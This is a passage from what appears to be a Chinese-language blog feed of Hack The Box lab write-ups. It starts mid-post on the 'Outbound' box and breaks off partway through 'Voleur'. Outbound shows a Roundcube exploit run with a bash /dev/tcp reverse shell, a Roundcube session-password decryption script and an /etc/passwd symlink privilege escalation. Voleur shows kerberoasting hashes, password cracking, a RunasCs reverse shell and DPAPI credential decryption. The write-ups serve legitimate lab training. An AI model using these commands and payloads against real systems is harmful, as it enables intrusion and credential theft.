&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;https://github.com/hakaioffsec/CVE-2025-49113-exploit/blob/main/CVE-2025-49113.php&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php 1.php http://mail.outbound.htb/ tyler LhKL1o9Nm3X2 &apos;bash -c &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.86/4444 0&amp;gt;&amp;amp;1&quot;&apos; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功进入
发现是www-data，权限很低
我们在config中发现mysql 账号 密码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql -u roundcube -p
RCDBPass2025
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现session的密文
密钥 (des_key): rcmail-!24ByteDESkey*Str (来自 config.inc.php 文件)
密文 (password): L7Rv00A8TuwJAr67kITxxcSgnIk25Am/ (来自 session 表）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#
# A simple Python script to decrypt Roundcube session passwords
# Make sure to install the crypto library first: pip install pycryptodome
#
from base64 import b64decode
from Crypto.Cipher import DES3

# --- Values we found on the target ---
# Encryption key from config.inc.php
key = b&apos;rcmail-!24ByteDESkey*Str&apos;
# Encrypted password from the database session &apos;vars&apos; field
encrypted_pass_b64 = &apos;1tgprldq6dniolpm782fsfufh6&apos;
# ---

# Decode the password from Base64
try:
    encrypted_pass = b64decode(encrypted_pass_b64)
    # The first 8 bytes are the initialization vector (IV)
    iv = encrypted_pass[:8]
    # The rest is the actual ciphertext
    ciphertext = encrypted_pass[8:]

    # Set up the Triple DES cipher
    cipher = DES3.new(key, DES3.MODE_CBC, iv)

    # Decrypt and remove padding
    decrypted_padded = cipher.decrypt(ciphertext)
    padding_len = decrypted_padded[-1]
    decrypted = decrypted_padded[:-padding_len].decode(&apos;utf-8&apos;)

    print(f&quot;\n[+] Decryption Successful!&quot;)
    print(f&quot;[*] Decrypted Password: {decrypted}\n&quot;)

except Exception as e:
    print(f&quot;\n[!] Decryption failed: {e}&quot;)
    print(&quot;[!] Check if the key and encrypted password are correct.&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解密出
595mO8DmwGeD
切换到jacob用户
我们在ls / -la 发现.dockerfile发现我们是在mail容器里，
我们浏览邮件得到
jacob真正的密码 gY4Wr3a1evp4
ssh登录上去&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo -l 
Matching Defaults entries for jacob on outbound:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jacob may run the following commands on outbound:
    (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我上搜索CVE-2025-27591
https://github.com/BridgerAlderson/CVE-2025-27591-PoC&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;检查&lt;code&gt;/var/log/below&lt;/code&gt;目录是否存在且可写&lt;/li&gt;
&lt;li&gt;创建临时payload文件，包含恶意用户记录（用户名为&quot;attacker&quot;，UID=0）&lt;/li&gt;
&lt;li&gt;创建符号链接：&lt;code&gt;error_root.log&lt;/code&gt; -&amp;gt; &lt;code&gt;/etc/passwd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;通过sudo执行&lt;code&gt;below record&lt;/code&gt;触发日志写入&lt;/li&gt;
&lt;li&gt;将payload复制到目标文件（实际修改/etc/passwd）&lt;/li&gt;
&lt;li&gt;尝试通过&lt;code&gt;su attacker&lt;/code&gt;切换到root shell&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;成功提权&lt;/p&gt;
</content:encoded></item><item><title>Htb-Voleur</title><link>https://sinqwq.top/posts/htb-voleur/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-voleur/</guid><description>Htb-Voleur</description><pubDate>Sun, 13 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Machine Information&lt;/p&gt;
&lt;p&gt;As is common in real life Windows pentests, you will start the Voleur box with credentials for the following account: ryan.naylor / HollowOct31Nyt&lt;/p&gt;
&lt;p&gt;扫描&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./fscan -h 10.10.11.76

10.10.11.76:139 open
10.10.11.76:445 open
10.10.11.76:135 open
10.10.11.76:88 open
[*] alive ports len is: 4
start vulscan
[*] NetInfo 
[*]10.10.11.76
   [-&amp;gt;]DC
   [-&amp;gt;]10.10.11.76
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap 10.10.11.76 -p- --min-rate=5000 -A

Nmap scan report for 10.10.11.76
Host is up (0.42s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-06 23:40:32Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2222/tcp  open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_  256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
51271/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
51272/tcp open  msrpc         Microsoft Windows RPC
51273/tcp open  msrpc         Microsoft Windows RPC
51300/tcp open  msrpc         Microsoft Windows RPC
59521/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (88%)
OS CPE: cpe:/o:microsoft:windows_server_2022
Aggressive OS guesses: Microsoft Windows Server 2022 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-07-06T23:42:07
|_  start_date: N/A
|_clock-skew: 7h59m59s

TRACEROUTE (using port 135/tcp)
HOP RTT       ADDRESS
1   513.19 ms 10.10.16.1
2   513.30 ms 10.10.11.76

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 204.84 seconds

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;无法直接使用密码认证，这里请求一下票据&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@Hacking] /home/kali/Voleur  
❯ ntpdate voleur.htb                                                                                              
2025-07-11 05:26:15.216773 (-0400) +27417.340020 +/- 0.040598 voleur.htb 10.10.11.76 s1 no-leap
CLOCK: time stepped by 27417.340020

[root@Hacking] /home/kali/Voleur  
❯ impacket-getTGT voleur.htb/&apos;ryan.naylor&apos;:&apos;HollowOct31Nyt&apos;
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in ryan.naylor.ccache

[root@Hacking] /home/kali/Voleur  
❯ export KRB5CCNAME=/home/kali/Voleur/ryan.naylor.ccache


nxc ldap 10.10.11.76 -u &apos;ryan.naylor&apos; -p &apos;HollowOct31Nyt&apos; -k 

LDAP        10.10.11.76     389    DC               [*] None (name:DC) (domain:voleur.htb)
LDAP        10.10.11.76     389    DC               [+] voleur.htb\ryan.naylor:HollowOct31Nyt 

nxc ldap 10.10.11.76 -u &apos;ryan.naylor&apos; -p &apos;HollowOct31Nyt&apos; -k --users

LDAP        10.10.11.76     389    DC               [*] None (name:DC) (domain:voleur.htb)
LDAP        10.10.11.76     389    DC               [+] voleur.htb\ryan.naylor:HollowOct31Nyt 
LDAP        10.10.11.76     389    DC               [*] Enumerated 12 domain users: voleur.htb
LDAP        10.10.11.76     389    DC               -Username-                    -Last PW Set-       -BadPW-  -Description-                                                                                                      
LDAP        10.10.11.76     389    DC               Administrator                 2025-01-28 20:35:13 0        Built-in account for administering the computer/domain                                                             
LDAP        10.10.11.76     389    DC               Guest                         &amp;lt;never&amp;gt;             0        Built-in account for guest access to the computer/domain                                                           
LDAP        10.10.11.76     389    DC               krbtgt                        2025-01-29 08:43:06 0        Key Distribution Center Service Account                                                                            
LDAP        10.10.11.76     389    DC               ryan.naylor                   2025-01-29 09:26:46 0        First-Line Support Technician                                                                                      
LDAP        10.10.11.76     389    DC               marie.bryant                  2025-01-29 09:21:07 7        First-Line Support Technician                                                                                      
LDAP        10.10.11.76     389    DC               lacey.miller                  2025-01-29 09:20:10 1        Second-Line Support Technician                                                                                     
LDAP        10.10.11.76     389    DC               svc_ldap                      2025-01-29 09:20:54 0          
LDAP        10.10.11.76     389    DC               svc_backup                    2025-01-29 09:20:36 7          
LDAP        10.10.11.76     389    DC               svc_iis                       2025-01-29 09:20:45 0          
LDAP        10.10.11.76     389    DC               jeremy.combs                  2025-01-29 15:10:32 0        Third-Line Support Technician                                                                                      
LDAP        10.10.11.76     389    DC               todd.wolfe                    2025-01-29 12:41:13 0        Second-Line Support Technician                                                                                     
LDAP        10.10.11.76     389    DC               svc_winrm                     2025-01-31 09:10:12 0    
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap 10.10.11.76 -u &apos;ryan.naylor&apos; -p &apos;HollowOct31Nyt&apos; -k --kerberoasting output.txt

0

nxc ldap 10.10.11.76 -u &apos;ryan.naylor&apos; -p &apos;HollowOct31Nyt&apos; -k --asreproast output.txt

0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后进行收集&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodhound-ce-python -u &apos;ryan.naylor&apos; -p &apos;HollowOct31Nyt&apos; -d voleur.htb  -ns 10.10.11.76 -c all --zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现属于一个特殊组呢，没有直接的权力&lt;/p&gt;
&lt;p&gt;然后进行&lt;code&gt;smb&lt;/code&gt;枚举&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@Hacking] /home/kali/Voleur  
❯ NetExec smb dc.voleur.htb -u ryan.naylor -p &apos;HollowOct31Nyt&apos; -k --shares --smb-timeout 500

SMB         dc.voleur.htb   445    dc               [*]  x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc.voleur.htb   445    dc               [+] voleur.htb\ryan.naylor:HollowOct31Nyt 
SMB         dc.voleur.htb   445    dc               [*] Enumerated shares
SMB         dc.voleur.htb   445    dc               Share           Permissions     Remark
SMB         dc.voleur.htb   445    dc               -----           -----------     ------
SMB         dc.voleur.htb   445    dc               ADMIN$                          Remote Admin
SMB         dc.voleur.htb   445    dc               C$                              Default share
SMB         dc.voleur.htb   445    dc               Finance                         
SMB         dc.voleur.htb   445    dc               HR                              
SMB         dc.voleur.htb   445    dc               IPC$            READ            Remote IPC
SMB         dc.voleur.htb   445    dc               IT              READ            
SMB         dc.voleur.htb   445    dc               NETLOGON        READ            Logon server share 
SMB         dc.voleur.htb   445    dc               SYSVOL          READ            Logon server share 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现有一个&lt;code&gt;IT&lt;/code&gt;目录可以读取，进行连接&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@Hacking] /home/kali/Voleur  
❯ impacket-smbclient -k dc.voleur.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# shares
ADMIN$
C$
Finance
HR
IPC$
IT
NETLOGON
SYSVOL
# use IT
# ls
drw-rw-rw-          0  Wed Jan 29 04:10:01 2025 .
drw-rw-rw-          0  Fri Jul 11 04:06:16 2025 ..
drw-rw-rw-          0  Wed Jan 29 04:40:17 2025 First-Line Support
# cd First-Line Support
# ls
drw-rw-rw-          0  Wed Jan 29 04:40:17 2025 .
drw-rw-rw-          0  Wed Jan 29 04:10:01 2025 ..
-rw-rw-rw-      16896  Thu May 29 18:23:36 2025 Access_Review.xlsx
# get Access_Review.xlsx
# 

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们将使用&lt;code&gt;nxc&lt;/code&gt;（或&lt;code&gt;cme&lt;/code&gt;）的&lt;code&gt;spider_plus&lt;/code&gt;模块来自动爬取所有可读的共享，并下载我们感兴趣的文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc smb dc.voleur.htb -u &apos;ryan.naylor&apos; -p &apos;HollowOct31Nyt&apos; -k -M spider_plus -o DOWNLOAD_FLAG=True
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现Access_Review.xlsx，有密码,需要密码才能打开&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;office2john Access_Review.xlsx &amp;gt; 1.hash
john --wordlist=/usr/share/wordlists/rockyou.txt 1.hash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密码football1
读完xlxs，注意到Todd用户被删掉了，但是留下了密码：&lt;code&gt;NightT1meP1dg3on14&lt;/code&gt; 并且发现了可能是svc用户的密码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;svc_ldap  M1XyC9pW7qT5Vn
svc_iis   N5pXyV1WqM7CZ8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;且发现了svc_ldap对lacey用户能GenericWrite
以及对svc_winrm具有WriteSPN权限，接下来获取票据&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@Hacking] /home/kali/Voleur  
❯ impacket-getTGT voleur.htb/&apos;svc_ldap&apos;:&apos;M1XyC9pW7qT5Vn&apos;                                                                                      ⏎
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in svc_ldap.ccache

[root@Hacking] /home/kali/Voleur  
❯ export KRB5CCNAME=/home/kali/Voleur/svc_ldap.ccache   

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进行targetedkerberoast&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@Hacking] /home/kali/Voleur/targetedKerberoast (main) 
❯ python targetedKerberoast.py -k --dc-host dc.voleur.htb -u svc_ldap -d voleur.htb                                                           ⏎
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (lacey.miller)
$krb5tgs$23$*lacey.miller$VOLEUR.HTB$voleur.htb/lacey.miller*$fe91b2790a12a31dcf20cfe8c0b9fd2e$5c3994e6ff3431df75cb54c26fbe38fd98a91d159eb7a25db7a1c73aa63aae8538d679c67d70892004d9b388711a9c26842ee0739f22ef37b5d795eecd103bc5b73c645c5a2fa9875b6aa00624c70034e0321877fe54645d45b4a9f584bc33642ba7532776e02817d10436959e715616c3296dba188cde3b2755fbd6923ff16f930d5cab8f16a2d2439ec07b96edda5bfba142089d18d1cd365f6954d2b734cbdba1d33cba361152e74633f36663945c5fd6d3cd1771bfc1b5dd561e036bcd721bd7d75bbaf0a21243a284e59ce63c865e8a3e17a7d820240ad1f1f60865ae40323768dfca0ad54107bfeff07ef3f0879bb001d7ddddfab3c9fbf62fdd433c53a95fe13b163ec96e2bc2b95bc9d297bf234fbfe140f26b7ee9f347dc54e4b1b43e6397aa4c1944d266b9c61940d9bff1917962aa7fe4f6b20bc5bcc2d0ac99aed337a2f62d8e39fafe4f22d05ee954fc5f8b3eff387e4844f9b0f5d987ad5c86bb5ba686de0701ac915100e0b1563c9eaa4aa2fbb41b04710a1fd8ddea4660fdbe0be45e89d88fd8dc642310dd8775b24f4cd01716ec22edf1bef3d35092aca03307cc318292467c3644de6bd4e542a7b2e90a2586ecacdc194e66c44521e20baf3f1eaf35d05bc23432bcda3379b75307616dd9b0cfe5ede96c78c99668469c687f792d0a0ac98c5ffe68f7a66417dcab3feae7ab1e6e076f43f4225e62403c736ee746698b2facf789c8c3a97c26a0aed6dada6b7c81e83166ba7cf0449a160592c83b07a2ea54539dcd95dbeb26e909ec67d6eae39f61b62a18f9b4f86f717360a5c960f4a261b8dff99c3c6a0160226409228c80962628182b3f4e0d8d049dab50d25c46f88c7a17cbcc65f659a5a5b4a6af269819f205592e307750484375ae1942388cc83aff04165e739c9d56bbee5f11b9b93e9300e7a4c6f012c60e8ddc579da030d56a641ba014f0b5144eb16bd27c8e023760bbe224942a0cc1272275f18f591d6e5b417d13330c92d3a4fc8a21768e102990cb2329ef1903ac5429e412e8899ae1e676c57b0dd297526474fd8ad6185e40a320340d168265ed71171a25c9d6a285c65fe2f89c30636b9959e0417eef22bc7015446f0fd3a1405ebaabbf09c02a3ee062e79f4f3474be9c2eb25cddf5697ff598f4312a3b5a8c2a24feb87a4c08dbf54ffd28d990d0b4abaa2cce057a67a29d2b92a84f28811d23e545e124a4a06a903214ca5de973e0536d469ccd213d5ee98dc12a7cd96f0ef54453786e67b392bceb838c08b8427ce5399817c57d0119b770a5ad5abd1caae4f96a0a6bf77871b7f9d9481b9c1e82ec3d5f91fea3f3d38ec0786778c629d6fca90164b0ae9c9f8889ee1421ebe08c3f3d67865fe1f55dafcd416bcba12913fad8ca6e56cb0e73fbc8daa88e736a8d69245ca90446901272dec0b949de29a080a5116b48085e11c6bb720ad10c9f131850d065
[+] Printing hash for (svc_winrm)
$krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb/svc_winrm*$70eb09f1a0eb7f2f3299c0e67a0b4928$eff0c3837cb8a95b1b3f624f880f000e23261d8d8940419074351e15b5e08ab53793584df1e7ac4ff1c220a3033bc847e38698a04570ba9c79a0e0365f07442d2d5cad249f8d04b12b191f80bbe3d3f80aa27fe81e270478fe2659a33f4dcddc07e09376ca319076af719ea7b31a0aefd9983237b10e3f87b8c5cd226a00952bdb337e60fb09034544cb0baaee63e5b8dde167c2d2b4a70809787718601b9aef575441d78c9aeeeb12c861ebc5ab9512d8be557e177bc514168a8b13b7e3f30888534b2be834caa1501312c099433489eb4ffda883e62aa4dcb646483edfa6a50239e0c5a7e63207e7bf8bb205b3ba917310e635d1c57447a434786090d535234fc03aeecc16013842d47b4e08035d3cb63ec533433c49c0024b16a0743dfd9a1805f9c58bc867c4c17366952514c8cbddf2c6d035c6f607606b18e8ed471c29fc7b96752d7f2fd99b96e942adfa3bf429a57eb5818a2714d28a2093b22ad8cd7d387a48b7619117a0c8a7aa348138689b942ef3597a0eba22f49bc1cd438425031a7841a0c5c0bb00525e436e5bf2484a74563aede628844b1c9cc249db0a55dfdb8253124f261f07281010c685834128869a91786d8d01d174c334df352caa81ca64e274ceacdff4aeb57f04132e21197e067320cd3a7c93f58bde5a8bb01e1d9b7fccad7cb2bf314210dea8540cb049f42593972e629592f1d93e2e749a1bd1b01589ce7281a04ca52aa1ae45cef2eade43f809f5d6a2bfb0d8dd56b9ad55d8071618b300d3526ffa13ef995d1e01eda1c7eb51beeb19175322f81b118f5eebff1dd6de3a3258fc502c925d20cdd32f6c5da5703345c45a3708631ad7591308a926bd1f93164a91ad3013aafce7c487a1d3a1db5145279587e584addc12bf0570553334fc925e65ce9fe31674c50f7ce4e2c12dd21505918fc3ef1c558877a2e1f114740fb5e5fa389beed4131703ac1672c34b2f5833e95f8b320d4c64e929de3616d9138028901d27c34de323fedb952387944efc1e756ea053cdfb30e47f71a35151f6a30e903960a4b8cd4dd5452216033e339aaca55199c75fef78733b45ffb6e9bfc05807cf0785750feacda6012eae2170c39a6101cef37d4401dd0c58810ffb37a9cc88718b46d69fd379a9afa51d7b6938592d772df3783e59666c9017ffb25862fbf581f6b00a5ca350d188ec631e5e712c2c10b4801b18183b4b56af43fa67d9e37e98c86ba357a36b895bea9bb35b92058bad98211257a05a780802ecf0b418d56c4b412260e3214471f66d74fad927184cb357203d34ad93542bb5bee672ac1638723551af5a5207ef56ac9d0cf1357315a99cba28c51a81c7470dbb89eb5995965a01f42206499a4a40e0a9bf5cd83f22cf315b1a3b815b48af395e4510cf8005efd048a8a6dfa4a7781a6e972a5ef1d56b92bf3de5afd7eeb594aee89f9dc3fe418728d1dcfaebcb1f06

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试进行破解，其中svc_winrm能够成功破解到密码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;john svc_winrm.hash --wordlist=/usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再次获取票据，进行5985登录，拿到user&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;evil-winrm -i dc.voleur.htb -k svc_winrm.ccache -r voleur.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当前用户没什么，注意到svc_ldap属于&lt;code&gt;RESTORE_USERS&lt;/code&gt;组，那么之前提到的Todd用户可能有用
尝试使用RunasCs进行切换用户（因为svc_ldap不在远程组，无法直接登录）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*Evil-WinRM* PS C:\Users\svc_winrm\Documents&amp;gt; upload /home/kali/Voleur/RunasCs.exe
                                        
Info: Uploading /home/kali/Voleur/RunasCs.exe to C:\Users\svc_winrm\Documents\RunasCs.exe
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Users\svc_winrm\Documents&amp;gt;  .\RunasCS.exe svc_ldap M1XyC9pW7qT5Vn  powershell.exe -r 10.10.16.48:6666
[*] Warning: The logon for user &apos;svc_ldap&apos; is limited. Use the flag combination --bypass-uac and --logon-type &apos;8&apos; to obtain a more privileged token.

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-8a13f0$\Default
[+] Async process &apos;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&apos; with pid 2992 created in background.                                                                  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后得到svc_ldap的shell
查询删除过的用户&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Windows\system32&amp;gt; Get-ADObject -Filter &apos;isDeleted -eq $true -and objectClass -eq &quot;user&quot;&apos; -IncludeDeletedObjects
Get-ADObject -Filter &apos;isDeleted -eq $true -and objectClass -eq &quot;user&quot;&apos; -IncludeDeletedObjects


Deleted           : True
DistinguishedName : CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb
Name              : Todd Wolfe
                    DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
ObjectClass       : user
ObjectGUID        : 1c6b1deb-c372-4cbb-87b1-15031de169db

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试恢复Todd&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Windows\system32&amp;gt; Get-ADObject -Filter &apos;isDeleted -eq $true -and Name -like &quot;*Todd Wolfe*&quot;&apos; -IncludeDeletedObjects | Restore-ADObject
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现todd属于SECOND LINE TECHNICIANS组，再回到SMB&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@Hacking] /home/kali/Voleur  
❯ impacket-smbclient -k dc.voleur.htb                                                                                                         ⏎
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# shares
ADMIN$
C$
Finance
HR
IPC$
IT
NETLOGON
SYSVOL
# use IT
# ls
drw-rw-rw-          0  Wed Jan 29 04:10:01 2025 .
drw-rw-rw-          0  Fri Jul 11 04:06:16 2025 ..
drw-rw-rw-          0  Wed Jan 29 10:13:03 2025 Second-Line Support
# cd Second-Line Support
# ls
drw-rw-rw-          0  Wed Jan 29 10:13:03 2025 .
drw-rw-rw-          0  Wed Jan 29 04:10:01 2025 ..
drw-rw-rw-          0  Wed Jan 29 10:13:06 2025 Archived Users
# cd Archived Users
# ls
drw-rw-rw-          0  Wed Jan 29 10:13:06 2025 .
drw-rw-rw-          0  Wed Jan 29 10:13:03 2025 ..
drw-rw-rw-          0  Wed Jan 29 10:13:16 2025 todd.wolfe
# cd todd.wolfe
# ls
drw-rw-rw-          0  Wed Jan 29 10:13:16 2025 .
drw-rw-rw-          0  Wed Jan 29 10:13:06 2025 ..
drw-rw-rw-          0  Wed Jan 29 10:13:06 2025 3D Objects
drw-rw-rw-          0  Wed Jan 29 10:13:09 2025 AppData
drw-rw-rw-          0  Wed Jan 29 10:13:10 2025 Contacts
drw-rw-rw-          0  Thu Jan 30 09:28:50 2025 Desktop
drw-rw-rw-          0  Wed Jan 29 10:13:10 2025 Documents
drw-rw-rw-          0  Wed Jan 29 10:13:10 2025 Downloads
drw-rw-rw-          0  Wed Jan 29 10:13:10 2025 Favorites
drw-rw-rw-          0  Wed Jan 29 10:13:10 2025 Links
drw-rw-rw-          0  Wed Jan 29 10:13:10 2025 Music
-rw-rw-rw-      65536  Wed Jan 29 10:13:06 2025 NTUSER.DAT{c76cbcdb-afc9-11eb-8234-000d3aa6d50e}.TM.blf
-rw-rw-rw-     524288  Wed Jan 29 07:53:07 2025 NTUSER.DAT{c76cbcdb-afc9-11eb-8234-000d3aa6d50e}.TMContainer00000000000000000001.regtrans-ms
-rw-rw-rw-     524288  Wed Jan 29 07:53:07 2025 NTUSER.DAT{c76cbcdb-afc9-11eb-8234-000d3aa6d50e}.TMContainer00000000000000000002.regtrans-ms
-rw-rw-rw-         20  Wed Jan 29 07:53:07 2025 ntuser.ini
drw-rw-rw-          0  Wed Jan 29 10:13:10 2025 Pictures
drw-rw-rw-          0  Wed Jan 29 10:13:10 2025 Saved Games
drw-rw-rw-          0  Wed Jan 29 10:13:10 2025 Searches
drw-rw-rw-          0  Wed Jan 29 10:13:10 2025 Videos
# cd Desktop
# ls
drw-rw-rw-          0  Thu Jan 30 09:28:50 2025 .
drw-rw-rw-          0  Wed Jan 29 10:13:16 2025 ..
-rw-rw-rw-        282  Wed Jan 29 07:53:09 2025 desktop.ini
-rw-rw-rw-       2312  Wed Jan 29 07:53:10 2025 Microsoft Edge.lnk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试获取dpapi加密的数据和密钥&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;get /Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110/08949382-134f-4c63-b93c-ce52efc0aa88

get /Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Credentials/772275FAD58525253490A9B0039791D3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;破解密钥&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@Hacking] /home/kali/Voleur  
❯ impacket-dpapi masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password NightT1meP1dg3on14
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 08949382-134f-4c63-b93c-ce52efc0aa88
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;破解用户凭证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@Hacking] /home/kali/Voleur  
❯ impacket-dpapi credential -file 772275FAD58525253490A9B0039791D3 -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2025-01-29 12:55:19
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=Jezzas_Account
Description : 
Unknown     : 
Username    : jeremy.combs
Unknown     : qT3V9pLXyN7W4m

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;获取票据后再次进行bloodhound收集&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@Hacking] /home/kali/Voleur  
❯ impacket-getTGT voleur.htb/&apos;jeremy.combs&apos;:&apos;qT3V9pLXyN7W4m&apos;  
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in jeremy.combs.ccache

[root@Hacking] /home/kali/Voleur  
❯ export KRB5CCNAME=/home/kali/Voleur/jeremy.combs.ccache       

[root@Hacking] /home/kali/Voleur  
